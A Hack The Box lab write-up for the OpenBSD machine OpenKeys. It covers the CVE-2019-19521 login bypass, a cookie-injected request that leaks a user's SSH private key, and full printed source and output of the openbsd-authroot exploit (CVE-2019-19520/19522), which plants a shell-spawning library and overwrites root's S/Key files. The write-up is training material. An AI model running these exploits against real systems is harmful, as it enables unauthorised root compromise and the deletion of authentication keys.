Low code quality keeps haunting our entire industry. That, and sloppy programmers who don’t understand the frameworks they work within. They’re like plumbers high on glue.

*Theo de Raadt

About OpenKeys

In this post, I’m writing a write-up for the machine OpenKeys from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

OpenKeys is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15 and submitting the root flag you points will be raised by 30.

Author notes This is my first machine with the OpenBSD operating system.

Foothold After the portscan, I discovered two open ports. The SSH port 22/tcp and HTTP on 80/tcp. After directory brute-forcing, I found the /includes directory. The file auth.php.wsp contains a possible hostname of the machine and I also found a possible username on this machine: jennifer. Through documentation from Qualsys, I found an authentication bypass vulnerability on the login page. After bypassing the login page I get the hand on the private key for the user Jennifer.

So far, an CTf-like box 🙂

User This one was very easy: I created an SSH session with the username jennifer and with the private key and I got a shell. Only grabbing the user-flag was enough.

Root The root-art was straightforward. After some basic enumeration, I found the OpenBSD kernel version vulnerable for CVE-2019-19520. I downloaded the exploit from Github, ran the exploit, and get the root flag. Happy hacker face.

Machine Info

Machine Name:	OpenKeys
Difficulty:	Medium
Points:	30
Release Date:	25 Jul 2020
IP:	10.10.10.199
Creator:	polarbearer & GibParadox

Recon

Port scan with Nmap

As always I start the box with an port scan with Nmap.

~$ nmap -sC -sV -oA ./nmap/10.10.10.199 10.10.10.199

The results of the Nmap scan.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-30 15:49 CEST
Nmap scan report for 10.10.10.199
Host is up (0.051s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA)
|   256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA)
|_  256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519)
80/tcp open  http    OpenBSD httpd
|_http-title: Site doesn't have a title (text/html).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.94 seconds

This box has two open ports. The first open port is SSH (22/tcp), the service OpenSSH 8.1 is running behind this port. The second port reveals that this box is acting as a web server.

Enumeration

Enumeration Web Server

Because I don’t have much choice, I’ll start with the enumeration of the webserver. I visited the following URL http://10.10.10.199. The web server gives me a flat looking login page. This login page has the title OpenKeyS – Retrieve your OpenSSH Keys. Well, let’s see what we can get.

I started an scan with Nikto and it founds the /includes directory. Maybe it can be interesting.

~$ nikto -host 10.10.10.199 -port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.199
+ Target Hostname:    10.10.10.199
+ Target Port:        80
+ Start Time:         2020-08-07 14:20:02 (GMT2)
---------------------------------------------------------------------------
+ Server: OpenBSD httpd
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/7.3.13
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Multiple index files found: /index.php, /index.html
+ /postnuke/modules.php?op=modload&name=Web_Links&file=index&req=viewlinkdetails&lid=666&ttitle=Mocosoft Utilities\"%3<script>alert('Vulnerable')</script>: Postnuke Phoenix 0.7.2.3 is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ 7502 requests: 3 error(s) and 11 item(s) reported on remote host
+ End Time:           2020-08-07 14:24:05 (GMT2) (243 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

I checked the directory from the web browser and with Burp Suite I requested the URL http://10.10.10.199/includes/auth.php.swp, it seems that the file is not containing any juicy information, other than a possible name of the box jenniferopenkeys.htb. I added this hostname to my /etc/hosts, there is a possibility that virtual hosting is enabled on the webserver. The contents of auth.php.swp:

b0VIM 8.1�-�^���jenniferopenkeys.htb/var/www/htdocs/includes/auth.php 3210#"! Utp=ad� � =����sWB@?"
�������mgC� � � { a W J @ �������vpnmUS0���J� � � � � � � � � � � ?>} session_start();
session_destroy(); session_unset();{function close_session()} $_SESSION["username"] =
$_REQUEST['username']; $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR']; $_SESSION["last_activity"] =
$_SERVER['REQUEST_TIME']; $_SESSION["login_time"] = $_SERVER['REQUEST_TIME']; $_SESSION["logged_in"]
= True;{function init_session()} } return False; { else } } return True; $_SESSION['last_activity'] =
$time; // Session is active, update last activity time and return True { else } return False;
close_session(); { ($time - $_SESSION['last_activity']) > $session_timeout) if
(isset($_SESSION['last_activity']) && $time = $_SERVER['REQUEST_TIME']; // Has the session expired? {
if(isset($_SESSION["logged_in"])) // Is the user logged in? session_start(); // Start the session
$session_timeout = 300; // Session timeout in seconds{function is_active_session()} return $retcode;
system($cmd, $retcode); $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " .
$password);{function authenticate($username, $password)

When I look at who is responding to my request I noticed the OpenBSD httpdb server and the PHP-version PHP/7.3.13.

I’ve searched on the internet and found some possible vulnerabilities for this PHP-version. After further research, I found this article on the Qualsys website: Authentication Vulnerabilities OpenBSD. This article is about the CVE-2019-19521 (Authentication bypass) vulnerability.

I tried to login with the username and password combination shown as below:

Username: -schallenge
Password: passwd

When I click on the ‘Login’ button, the server response as below. I bypassed the authentication….

Conclusion: This box is vulnerable for the CVE-2019-19521 vulnerability.

Foothold

CVE-2019-19521

What I know for now is that this box is vulnerable for authentication bypass with the user -schallange. Of course, the server will notify me that the OpenSSH key cannot be found. After all, this username does not exist on the server. The only possible user I have found is jennifer.

The second step is to manipulate the request with Burp Suite, to retrieve the OpenSSH key for the user Jennifer. It turned out that I have to add an additional payload to the request sent to the webserver. I edited the Cookie payload and exited the cookie with a semicolon and added the username of Jennifer username=jennifer.

GET /sshkey.php HTTP/1.1
Host: jenniferopenkeys.htb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://jenniferopenkeys.htb/index.php
Connection: close
Cookie: PHPSESSID=914uvsv94f6mjmqhpf2c6uscb1;username=jennifer
Upgrade-Insecure-Requests: 1

I got the private key from Jennifer! I added this key to the file id_rsa.

Intrusion

SSH access as Jennifer

With this Private Key I’m able to connect to the SSH service with the account of Jennifer and I can read the user.txt file.

~$ ssh [email protected] -i id_rsa 
The authenticity of host '10.10.10.199 (10.10.10.199)' can't be established.
ECDSA key fingerprint is SHA256:gzhq4BokiWZ1NNWrblA8w3hLOhlhoRy+NFyi2smBZOA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.199' (ECDSA) to the list of known hosts.
Last login: Wed Jun 24 09:31:16 2020 from 10.10.14.2
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

openkeys$ hostname
openkeys.htb
openkeys$ ls
user.txt
openkeys$ cat user.txt
36ab21239a15c537bde90626891d2b10
openkeys$ 

Next phase, Privilege Escalation.

Privilege Escalation

Enumeration

The user account has no permission to run any program or command with sudo permissions. The user has either no special permissions in place. After some enumeration I found my privilege path after checking the kernel version. It seems that this box is running on OpenBSD 6.6. This kernel is vulnerable for the CVE-2019-19520 and CVE-2019-19522 vulnerabilities.

openkeys$ uname -a
OpenBSD openkeys.htb 6.6 GENERIC#353 amd64

I found the exploit for CVE-2019-19520 on a Github repository from blcoles.

CVE-2019-19520

I navigated from the Github repository and used this exploit: CVE-2019-19520. I navigated to the temp directory and created the payload file openbsd-authroot. The contents of the exploit:

echo "openbsd-authroot (CVE-2019-19520 / CVE-2019-19522)"

echo "[*] checking system ..."

if grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q yubikey ; then
  echo "[*] system supports YubiKey authentication"
  target='yubikey'
elif grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q skey ; then
  echo "[*] system supports S/Key authentication"
  target='skey'
  if ! test -d /etc/skey/ ; then
    echo "[-] S/Key authentication enabled, but has not been initialized"
    exit 1
  fi
else
  echo "[-] system does not support S/Key / YubiKey authentication"
  exit 1
fi

echo "[*] id: `id`"

echo "[*] compiling ..."

cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF

cc -fpic -shared -s -o swrast_dri.so swrast_dri.c
rm -rf swrast_dri.c

echo "[*] running Xvfb ..."

display=":66"

env -i /usr/X11R6/bin/Xvfb $display -cc 0 &

echo "[*] testing for CVE-2019-19520 ..."

group=$(echo id -gn | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display)

if [ "$group" = "auth" ]; then
  echo "[+] success! we have auth group permissions"
else
  echo "[-] failed to acquire auth group permissions"
  exit 1
fi

# uncomment to drop to a shell with auth group permissions
#env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display ; exit

echo
echo "WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C)."
echo
sleep 5

if [ "$target" = "skey" ]; then
  echo "[*] trying CVE-2019-19522 (S/Key) ..."
  echo "rm -rf /etc/skey/root ; echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root ; chmod 0600 /etc/skey/root" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display
  rm -rf swrast_dri.so
  echo "Your password is: EGG LARD GROW HOG DRAG LAIN"
  env -i TERM=vt220 su -l -a skey
fi

if [ "$target" = "yubikey" ]; then
  echo "[*] trying CVE-2019-19522 (YubiKey) ..."
  echo "rm -rf /var/db/yubikey/root.* ; echo 32d32ddfb7d5 > /var/db/yubikey/root.uid ; echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display
  rm -rf swrast_dri.so
  echo "Your password is: krkhgtuhdnjclrikikklulkldlutreul"
  env -i TERM=vt220 su -l -a yubikey
fi

First, I have to change the home folder from the user account Jennifer, to use this exploit.

openkeys$ cd /tmp
openkeys$ HOME=$(pwd)

I followed this path to gain root privileges. First, I created the exploit file and grant execution privileges. Then I’ve executed the script and the root shell gots spawned. The last step is to grab the root flag.

openkeys$ pwd
/tmp
openkeys$ nano openbsd-authroot      
openkeys$ chmod +x openbsd-authroot
openkeys$ ./openbsd-authroot                                                                                                                                                            
openbsd-authroot (CVE-2019-19520 / CVE-2019-19522)
[*] checking system ...
[*] system supports S/Key authentication
[*] id: uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
[*] compiling ...
[*] running Xvfb ...
[*] testing for CVE-2019-19520 ...
[+] success! we have auth group permissions

WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C).

[*] trying CVE-2019-19522 (S/Key) ...
Your password is: EGG LARD GROW HOG DRAG LAIN
otp-md5 99 obsd91335
S/Key Password:
S/Key Password [echo on]: EGG LARD GROW HOG DRAG LAIN
openkeys# id                                                                                                                                                                            
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
openkeys# cat /root/root.txt
f3a553b1697050ae885e7c02dbfc6efa
openkeys#

Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!

Happy Hacking :-)

Hack The Box Write-Up OpenKeys - 10.10.10.199

About OpenKeys

Machine Info

Recon

Port scan with Nmap

Enumeration

Enumeration Web Server

Foothold

CVE-2019-19521

Intrusion

SSH access as Jennifer

Privilege Escalation

Enumeration

CVE-2019-19520

Further Reading

Hack The Box Write-Up Book – 10.10.10.176

Hack The Box Write-Up Traceback – 10.10.10.181

Hack The Box Write-Up Remote – 10.10.10.180